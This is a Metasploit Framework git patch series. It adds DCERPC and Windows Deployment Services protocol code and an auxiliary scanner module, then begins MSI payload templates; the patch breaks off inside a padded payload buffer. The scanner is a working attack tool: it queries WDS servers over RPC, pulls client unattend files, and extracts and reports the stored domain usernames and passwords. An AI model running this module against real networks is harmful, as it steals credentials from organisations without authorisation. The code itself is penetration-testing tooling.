From 70167ac667b32e8b8e3cc406a469300967d77bb4 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 31 Jan 2013 19:53:37 +0000 Subject: [PATCH 001/210] Repull --- lib/rex/proto/dcerpc/client.rb | 9 +- lib/rex/proto/dcerpc/packet.rb | 10 +- lib/rex/proto/dcerpc/wdscp.rb | 3 + lib/rex/proto/dcerpc/wdscp/constants.rb | 89 +++++++ lib/rex/proto/dcerpc/wdscp/packet.rb | 74 ++++++ .../dcerpc/windows_deployment_services.rb | 221 ++++++++++++++++++ 6 files changed, 402 insertions(+), 4 deletions(-) create mode 100644 lib/rex/proto/dcerpc/wdscp.rb create mode 100644 lib/rex/proto/dcerpc/wdscp/constants.rb create mode 100644 lib/rex/proto/dcerpc/wdscp/packet.rb create mode 100644 modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index 928e5eb4bf..c4aaaa6f3a 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -252,7 +252,14 @@ require 'rex/proto/smb/exceptions' bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) else - bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) + if self.handle.uuid.length == 4 + bind, context = Rex::Proto::DCERPC::Packet.make_bind( self.handle.uuid[0], + self.handle.uuid[1], + self.handle.uuid[2], + self.handle.uuid[3]) + else + bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) + end end raise 'make_bind failed' if !bind diff --git a/lib/rex/proto/dcerpc/packet.rb b/lib/rex/proto/dcerpc/packet.rb index 463a8a8be7..34aa73de14 100644 --- a/lib/rex/proto/dcerpc/packet.rb +++ b/lib/rex/proto/dcerpc/packet.rb @@ -11,11 +11,15 @@ require 'rex/text' UUID = Rex::Proto::DCERPC::UUID # Create a standard DCERPC BIND request packet - def self.make_bind(uuid, vers) + def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers) # Process the version strings ("1.0", 1.0, "1", 1) bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers) + + if UUID.is? xfer_syntax_uuid + xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid) + end # Create the bind request packet buff = @@ -37,7 +41,7 @@ require 'rex/text' UUID.uuid_pack(uuid), # interface uuid bind_vers_maj, # interface major version bind_vers_min, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax + xfer_syntax_uuid, # transfer syntax xfer_vers_maj, # syntax major version xfer_vers_min, # syntax minor version ].pack('CCCCNvvVvvVVvvA16vvA16vv') diff --git a/lib/rex/proto/dcerpc/wdscp.rb b/lib/rex/proto/dcerpc/wdscp.rb new file mode 100644 index 0000000000..519f2ffb90 --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- +require 'rex/proto/dcerpc/wdscp/constants' +require 'rex/proto/dcerpc/wdscp/packet' diff --git a/lib/rex/proto/dcerpc/wdscp/constants.rb b/lib/rex/proto/dcerpc/wdscp/constants.rb new file mode 100644 index 0000000000..1df1625a4f --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp/constants.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- +module Rex +module Proto +module DCERPC +module WDSCP +# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx +# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx +# Not all values defined by the spec have been imported... +class Constants + WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620" + OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27" + + VAR_NAME_ARCHITECTURE = "ARCHITECTURE" + VAR_NAME_CLIENT_GUID = "CLIENT_GUID" + VAR_NAME_CLIENT_MAC = "CLIENT_MAC" + VAR_NAME_VERSION = "VERSION" + VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE" + VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID" + VAR_NAME_FLAGS = "FLAGS" + VAR_NAME_CC = "CC" #Client Capabilities + VAR_NAME_IMDC = "IMDC" + + VAR_TYPE_LOOKUP = { + VAR_NAME_ARCHITECTURE => :ULONG, + VAR_NAME_CLIENT_GUID => :WSTRING, + VAR_NAME_CLIENT_MAC => :WSTRING, + VAR_NAME_VERSION => :ULONG, + VAR_NAME_MESSAGE_TYPE => :ULONG, + VAR_NAME_TRANSACTION_ID => :WSTRING, + VAR_NAME_FLAGS => :ULONG, + VAR_NAME_CC => :ULONG, + VAR_NAME_IMDC => :ULONG + } + + CC_FLAGS = { + :V2 => 1, + :VHDX => 2 + } + + DOMAIN_JOIN_FLAGS = { + :JOIN_DOMAIN => 1, + :ACCOUNT_EXISTS => 2, + :PRESTAGE_USING_MAC => 3, + :RESET_BOOT_PROGRAM => 256 + } + + ARCHITECTURE = { + :X64 => 9, + :X86 => 0, + :IA64 => 6, + :ARM => 5 + } + + PACKET_TYPE = { + :REQUEST => 1, + :REPLY => 2 + } + + OPCODE = { + :IMG_ENUMERATE => 2, + :LOG_INIT => 3, + :LOG_MSG => 4, + :GET_CLIENT_UNATTEND => 5, + :GET_UNATTEND_VARIABLES => 6, + :GET_DOMAIN_JOIN_INFORMATION => 7, + :RESET_BOOT_PROGRAM => 8, + :GET_MACHINE_DRIVER_PACKAGES => 200 + } + + BASE_TYPE = { + :BYTE => 0x0001, + :USHORT => 0x0002, + :ULONG => 0x0004, + :ULONG64 => 0x0008, + :STRING => 0x0010, + :WSTRING => 0x0020, + :BLOB => 0x0040 + } + + TYPE_MODIFIER = { + :NONE => 0x0000, + :ARRAY => 0x1000 + } + +end +end +end +end +end diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb new file mode 100644 index 0000000000..972f0ed2a4 --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- +module Rex +module Proto +module DCERPC +module WDSCP +class Packet + + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + + def initialize(packet_type, opcode) + if opcode.nil? || packet_type.nil? + raise(ArgumentError, "Packet arguments cannot be nil") + end + + @variables = [] + @packet_type = WDS_CONST::PACKET_TYPE[packet_type] + @opcode = WDS_CONST::OPCODE[opcode] + end + + def add_var(name, type_mod=0, value_length=nil, array_size=0, value) + padding = 0 + value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] + name = name.encode('UTF-16LE').unpack('H*')[0] + + value_length ||= value.length + + len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16. + @variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len) + end + + def create + packet = [] + var_count = @variables.count + + packet_size = 0 + @variables.each do |var| + packet_size += var.length + end + + packet_size += 16 # variables + operation + + # These bytes are not part of the spec but are not part of DCERPC according to Wireshark + # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... + packet << [packet_size+40].pack('Q')*2 + packet << create_endpoint_header(packet_size) + packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) + packet.concat(@variables) + + return packet.join + end + + def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) + return [ packet_size, # PacketSize + 256, # Version + packet_type, # Packet_Type + 0, # Padding + opcode, # Opcode + var_count, # Variable Count + ].pack('VvCCVV') + end + + def create_endpoint_header(packet_size) + return [ 40, # Header_Size + 256, # Version + packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... + WDS_CONST::OS_DEPLOYMENT_GUID, # GUID + "\x00"*16, # Reserved + ].pack('vvVa16a16') + end +end +end +end +end +end diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb new file mode 100644 index 0000000000..18c9026c0f --- /dev/null +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -0,0 +1,221 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/proto/dcerpc' +require 'rex/proto/dcerpc/wdscp' +require 'rex/parser/unattend' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', + 'Description' => %q{ + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 + }, + 'Author' => [ 'Ben Campbell ' ], + 'License' => MSF_LICENSE, + 'Version' => '', + 'References' => + [ + [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'] + ], + )) + + register_options( + [ + Opt::RPORT(5040), + ], self.class) + + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + + register_advanced_options( + [ + OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) + ], self.class) + end + + def run_host(ip) + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{rport} error: #{e}") + end + end + + def query_host(rhost) + # Create a handler with our UUID and Transfer Syntax + self.handle = Rex::Proto::DCERPC::Handle.new( + [ + WDS_CONST::WDSCP_RPC_UUID, + '1.0', + '71710533-beba-4937-8319-b5dbef9ccc36', + 1 + ], + 'ncacn_ip_tcp', + rhost, + [datastore['RPORT']] + ) + + print_status("Binding to #{handle} ...") + + self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) + print_good("Bound to #{handle}") + + report_service( + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + ) + + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Windows Deployment Services', + 'Indent' => 1, + 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] + }) + + creds_found = false + + WDS_CONST::ARCHITECTURE.each do |architecture| + if architecture[0] == :ARM && !datastore['ENUM_ARM'] + vprint_status "Skipping #{architecture[0]} architecture due to adv option" + next + end + + begin + result = request_client_unattend(architecture) + rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e + vprint_error(e.to_s) + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return + end + + unless result.nil? + loot_unattend(architecture[0], result) + results = parse_client_unattend(result) + + results.each do |result| + unless result.empty? + unless result['username'].nil? || result['password'].nil? + print_good("Retrived #{result['type']} credentials for #{architecture[0]}") + creds_found = true + domain = "" + domain = result['domain'] if result['domain'] + report_creds(domain, result['username'], result['password']) + table << [architecture[0], result['type'], domain, result['username'], result['password']] + end + end + end + end + end + + if creds_found + print_line + table.print + print_line + else + print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") + end + end + + def request_client_unattend(architecture) + # Construct WDS Control Protocol Message + packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, + "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ + "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ + "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ + "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ + "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") + wdsc_packet = packet.create + + print_status("Sending #{architecture[0]} Client Unattend request ...") + response = dcerpc.call(0, wdsc_packet) + + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + vprint_status('Received response ...') + data = dcerpc.last_response.stub_data + + # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 + op_error_code = data.unpack('i*')[18] + if op_error_code == 0 + if data.length < 277 + vprint_error("No Unattend received for #{architecture[0]} architecture") + return nil + else + vprint_status("Received #{architecture[0]} unattend file ...") + return extract_unattend(data) + end + else + vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") + return nil + end + end + end + + def extract_unattend(data) + start = data.index('')+10 + return data[start..finish] + end + + def parse_client_unattend(data) + begin + xml = REXML::Document.new(data) + + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end + + return Rex::Parser::Unattend.parse(xml).flatten + end + + def loot_unattend(archi, data) + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") + end + + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) + end +end From f37d9c2834bc18c1fc848585cde51f1eb85e03fd Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 9 Mar 2013 17:24:03 +0000 Subject: [PATCH 002/210] Initial commit --- data/templates/src/msi/COMPILING.txt | 7 + data/templates/src/msi/buffer | 1 + .../src/msi/template_x86_windows.wxs | 35 ++ lib/msf/util/exe.rb | 549 ++++++++++-------- 4 files changed, 348 insertions(+), 244 deletions(-) create mode 100644 data/templates/src/msi/COMPILING.txt create mode 100644 data/templates/src/msi/buffer create mode 100644 data/templates/src/msi/template_x86_windows.wxs diff --git a/data/templates/src/msi/COMPILING.txt b/data/templates/src/msi/COMPILING.txt new file mode 100644 index 0000000000..08a7375b52 --- /dev/null +++ b/data/templates/src/msi/COMPILING.txt @@ -0,0 +1,7 @@ +Compile using WiX: http://wixtoolset.org + +Recompile with a larger buffer file to increase the available +buffer size for larger payloads if required. + +candle template_x86_windows.wxs +light template_x86_windows.wixobj diff --git a/data/templates/src/msi/buffer b/data/templates/src/msi/buffer new file mode 100644 index 0000000000..c294c6b262 --- /dev/null +++ b/data/templates/src/msi/buffer @@ -0,0 +1 @@ +__PAYLOAD__AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB